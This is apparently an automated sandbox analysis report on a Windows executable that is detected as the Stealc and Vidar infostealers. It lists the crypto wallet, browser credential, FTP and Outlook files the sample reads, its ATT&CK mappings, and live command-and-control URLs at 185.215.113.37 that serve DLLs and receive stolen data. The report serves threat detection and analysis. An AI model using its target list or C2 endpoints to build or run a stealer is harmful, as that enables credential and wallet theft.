Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.cVi

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6424, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2318604466.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6424, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlls	file.exe, 00000000.00000002.2591852911.0000000000475000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696506299400400001.1&ci=1696506299033.12791&cta	file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_cd61a4703a8613be887576f2bd084bcc6f4756dccdbe5062	file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.P9ZDdyXKOWl2	FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpv	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpt	file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpsimple-storage.json	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2627093302.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696506299400400001.2&ci=1696506299033.	file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll2	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php3Z	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37u	file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll9	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dlli	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll/;	file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpus.wallet	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpH	file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php4	file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php8	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbmfQq%2B4pbW4pbWfpbX7ReNxR3UIG8zInwYIFIVs9e	FIDAFCAFCBKECBGCFIIJ.0.dr	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	false		unknown
https://support.mozilla.org	FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll9	file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528270
Start date and time:	2024-10-07 18:02:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 123
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	XDPT5mgIBO.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	XDPT5mgIBO.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	185.215.113.103

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
